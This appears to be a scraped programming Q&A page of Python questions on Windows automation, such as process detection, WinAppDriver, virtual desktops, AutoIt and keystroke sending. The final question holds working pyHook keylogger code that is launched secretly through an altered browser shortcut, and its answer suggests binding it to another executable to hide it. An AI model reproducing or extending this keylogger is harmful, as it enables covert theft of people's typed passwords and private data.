Unable to detect if Calc.exe is running - Python - python

I am trying to open a window application when it is not opened in the background. To do that, I need to check if the process is running in the background. I am using pymen to check if the calc.exe is running, and if it's not, I will use subprocess to open a new calc.exe window. However, the code that I am using is not detecting if my calc.exe is actually running or not. It will always be Calculator is Not Running...
from pymem import Pymem
try:
pm = Pymem('calc.exe')
print('Calculator Started And Is Running....')
except:
print ('Calculator Is Not Running....')
I believe that the code is going through the details tab as shown as below to check if calc.exe is running or not. However, I can't find it in here as well even though the calculator app is running.
The detail tab in Task Manager
App like Notepad and Chrome are working fine but calculator. I have no idea why it is not working for calculator.

From Microsoft Calculator Windows 10:
The Calculator in non-LTSC editions of Windows 10 is a Universal
Windows Platform app. In contrast, Windows 10 LTSC (which does not
include universal Windows apps) includes the traditional calculator,
but which is now named win32calc.exe. … Both the universal Windows
app and LTSC's win32calc.exe register themselves with the system as
handlers of a 'calculator:' pseudo-protocol. … All Windows 10
editions (both LTSC and non-LTSC) continue to have a calc.exe, which
however is just a stub that launches (via ShellExecute) the
handler that is associated with the 'calculator:' pseudo-protocol.
In other words, calc.exe is merely a wrapper which launches another executable:
import psutil
import subprocess
import time
def list_calc(phase):
print(phase)
for proc in psutil.process_iter():
if proc.name().startswith( PROCNAME):
print( proc.name())
print( proc.cmdline()[0])
if proc.name() == 'CalculatorApp.exe':
proc.kill()
PROCNAME = 'Calc'
list_calc('- before:')
calc = subprocess.Popen([PROCNAME+'.exe'])
time.sleep(3) # wait until calculator window appears
list_calc('- after:')
Result: ver && .\SO\75191242.py
Microsoft Windows [Version 10.0.19045.2486]
- before:
- after:
CalculatorApp.exe
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_11.2210.0.0_x64__8wekyb3d8bbwe\CalculatorApp.exe

Related

WinAppDriver, clickOnce application launches a dialog - issues finding the app

I'm looking at using Python and WinAppDriver to automate a clickonce application.
When the application starts, I get a dialog with a yes and no button on screen.
from appium import webdriver
class TestStuff(unittest.TestCase):
#classmethod
def setUpClass(self):
#set up appium
desired_caps = {}
desired_caps["app"] = r"<path to .appref-ms>"
self.driver = webdriver.Remote(command_executor='http://127.0.0.1:4723',desired_capabilities= desired_caps)
#classmethod
def tearDownClass(self):
self.driver.quit()
def test_initialize(self):
self.driver.find_element_by_name("No").click()
if __name__ == '__main__':
suite = unittest.TestLoader().loadTestsFromTestCase(TestStuff)
unittest.TextTestRunner(verbosity=2).run(suite)
Now, when I run this script, I see my application launch - but then after a few seconds, I get an error **Failed to locate opened application window with appId: < path to the appref-ms > **
Not sure if this is an issue as a dialog is launching first, rather than the application? But can anyone suggest any other way to attach to the running application?
After a bit of digging about, I think I found what is wrong - this is to help in case any others get into this pickle.
So first, I've found a few places which say ClickOnce applications aren't supported.
So I decided to abandon executing the appref-ms and put in an .exe
This worked, but would throw a .NET error when I clicked on any buttons.
Launching the app from the command line was working also, I could not figure out why.
So I went back to the command line and tried to launch my app with the fully qualified path as the code does - click a button, .NET error.
It turns out you also need to add the "appWorkingDirectory" capability. Also (and this was my misunderstanding) you need to keep the full path in the launcher - I thought since I had the working directory set, I could just put the exe name - this was wrong.)

python, Windows 10: launching an application on a specific virtual desktop environment (work-spaces)

I have 3 different Windows 10 virtual desktops. When the computer starts up, I want python to load all of my applications in the different virtual desktops.
Right now I can only start things in Desktop 1. How do I tell python to launch an app but in Desktop 2 and 3?
I'm using python 3.6.
How do I tell python to launch an app but in Desktop 2 and 3?
This can be achieved by launching your applications with subprocess.Popen(), then changing virtual desktop by calling GoToDesktopNumber() from VirtualDesktopAccessor.dll with the help of ctypes, and launching your applications again. Tested with 64-bit Windows 10 Version 10.0.18363.720.
VirtualDesktopAccessor.dll by Jari Pennanen exports the functions a part of the mostly undocumented (by Microsoft) Virtual Desktop API. Put the dll in the current working directory.
import ctypes, time, shlex, subprocess
def launch_apps_to_virtual_desktops(command_lines, desktops=3):
virtual_desktop_accessor = ctypes.WinDLL("VirtualDesktopAccessor.dll")
for i in range(desktops):
virtual_desktop_accessor.GoToDesktopNumber(i)
time.sleep(0.25) # Wait for the desktop to switch
for command_line in command_lines:
if command_line:
subprocess.Popen(shlex.split(command_line))
time.sleep(2) # Wait for apps to open their windows
virtual_desktop_accessor.GoToDesktopNumber(0) # Go back to the 1st desktop
command_lines = r"""
"C:\Program Files (x86)\Google\Chrome Beta\Application\chrome.exe"
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\StudyGuide.pdf"
"C:\Program Files\Mozilla Firefox\firefox.exe"
"C:\Program Files\VideoLAN\VLC\vlc.exe"
""".splitlines()
launch_apps_to_virtual_desktops(command_lines)
The time.sleep() calls are needed because Windows doesn't change virtual desktops instantly (presumably because of animations), and to give the processes time to create windows. You might need to tweak the timings.
Note that some applications only allow one instance/process, so you can't get multiple separate windows for each virtual desktop (e.g. Adobe Reader with default settings).
Another strategy I tried was launching the applications, sleeping for a bit to allow the windows to be created, then calling MoveWindowToDesktopNumber() to move every window created by the new processes to different virtual desktops. The problem with that is, for applications like Chrome or Firefox, the new process is immediately closed if an existing process already exists, so it doesn't move the new windows (which actually belong to another, older process) to another desktop.
import ctypes, time, shlex, subprocess
from ctypes.wintypes import *
from ctypes import windll, byref
def get_windows(pid):
current_window = 0
pid_local = DWORD()
while True:
current_window = windll.User32.FindWindowExA(0, current_window, 0, 0)
windll.user32.GetWindowThreadProcessId(current_window, byref(pid_local))
if pid == pid_local.value:
yield current_window
if current_window == 0:
return
def launch_apps_to_virtual_desktops_by_moving(command_lines, desktops=3):
virtual_desktop_accessor = ctypes.WinDLL("VirtualDesktopAccessor.dll")
for i in range(desktops):
pids = []
for command_line in command_lines:
if command_line:
args = shlex.split(command_line)
pids.append(subprocess.Popen(args).pid)
time.sleep(3)
for pid in pids:
for window in get_windows(pid):
window = HWND(window)
virtual_desktop_accessor.MoveWindowToDesktopNumber(window, i)
command_lines = r"""
"C:\Program Files (x86)\Google\Chrome Beta\Application\chrome.exe"
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\StudyGuide.pdf"
"C:\Program Files\Mozilla Firefox\firefox.exe"
"C:\Program Files\VideoLAN\VLC\vlc.exe"
""".splitlines()
launch_apps_to_virtual_desktops_by_moving(command_lines)
TL; DR: use VDesk?
It appears that in-built support for this in Windows was lacking a few years back:
"Are you referring to task view feature "Multiple desktops" in Windows 10?
If yes, please be informed that you cannot have apps/programs automatically startup in different desktops.
-- A. User
I don't know of a python-native approach, but there's a couple of answers on the topic more generally that suggest VDesk -- https://github.com/eksime/VDesk
VDesk is a free, open source, program for the Windows 10 operating system that extends a system's virtual desktop functionality.
-- MSPO
This plus the usual methods to invoke external programs from python (i.e. the subprocess module) should hopefully get the effect you want. Good luck.

autoit doesnt detect windows in compiled python script

I am using AutoItX3.Control via win32com.client to detect and close Windows security dialog ("do you trust..."). I use WinExist with window title\text and It works fine when running the python script (Autoit version is 3.3.8.1).
Problem is with the compiled Python script (compiled with PyInstaller). The window is not detected and I can't close it. When I run the Autoit application (SciTE4AutoIt3) it does detect the window.
Any advice?
///// adding some more info:
using the following autoit options:
Opt('WinWaitDelay', 500)
Opt('SendKeyDelay', 8)
Opt('WinTitleMatchMode', 4)
Opt('WinSearchChildren', 1)
Opt('SendKeyDownDelay', 10)
Opt('WinDetectHiddenText', 1)
also, Im running the autoit on another process as an instance of the Process class (Process(target=handle_window_func))
Did you try to use the classic method to set the the active X options? Like:
oAutoItx.AutoItSetOption("WinTitleMatchMode", 4)
instead of:
oAutoItx.Opt("WinTitleMatchMode", 4)
Also AutoItx help says: "Mode 4 ("only" Kept for backward compatibility)".
So check your options and took the simplest you can use.
Try using the following code:
import pythoncom
pythoncom.CoInitialize()
This initializes the COM libraries for the calling thread.
See more info here:
http://docs.activestate.com/activepython/2.5/pywin32/pythoncom__CoInitialize_meth.html
Solved by running both the autoit functionality and the process triggering the pop up window in the same script and monitoring for the pop up while the process runs:
popup_p = Popen(*cmd_args, no_wait=True, *cmd_kwargs)
while popup_p.is_running():
handle_window_func()
time.sleep(1)
Note that Popen is run with no_wait - returns the process without waiting for it to finish.

Using Python pywin32 to send keystrokes to interactive win32 console application

So I have been trying to use Python pywin32 package to send inputs to an interactive console based win32 exe which gives me a bunch of options when executed and based on the input keyed in by the user subsequent menus are displayed. After some reading around on the net I did try to execute the following code but it is still unable to send the input to the program, so if anyone has been able to achieve something similar, please let me know.
the code I have been trying is as follows:
import win32com.client
def main():
shell = win32com.client.Dispatch("WScript.Shell")
shell.run('cmd /K cd "E:\\Documents and Settings\\Owner\\Desktop\\pds\\" && CONVERT.EXE')
shell.AppActivate('E:\\Documents and Settings\\Owner\\Desktop\\pds\\CONVERT.EXE')
print("sending keys...")
shell.SendKeys("trial.bin")
shell.SendKeys("{ENTER}")
if __name__ == '__main__':
main()
I've made small improvement in pywinauto library. Now it can deal with console window like so:
import pywinauto
app = pywinauto.Application.start('cmd.exe', wait_for_idle=False)
app.Window_().TypeKeys('cmd.exe /?{ENTER}', with_spaces=True, pause=0.1)
app.Window_().TypeKeys('{ENTER 7}', pause=0.1)

Trouble opening PYTHON keylogger with the launching of an external program?

Sorry for the ignorance, but I could not find a solution!! p.s.: I'm "hacking to learn and
not learning to hack" -Tinkernut (youtube_channel)
I had a simple keylogger.pyw and a notepad batch file so that when I clicked on a specific browser it would open both the browser and the keylogger (I altered the path to the browser's shortcut so that it would open the batch file).
Is it possible to do this without having to write an external batch file, and to compile the program so that it runs on the computer without python installed on WINDOWS platform 7 and 8?
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Users\\...\\Documents\\log.txt'
def OnKeyboardEvent (event) :
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
import os
print os.system('C:\\Users\\...\\Google\\Chrome\\Application\\chrome.exe')
I'm not sure about this. But, one thing that can help you is if u r converting python to windows executable, then bind those 2 programs (Your windows Exe file and + the program u want to run ) using binder.

Categories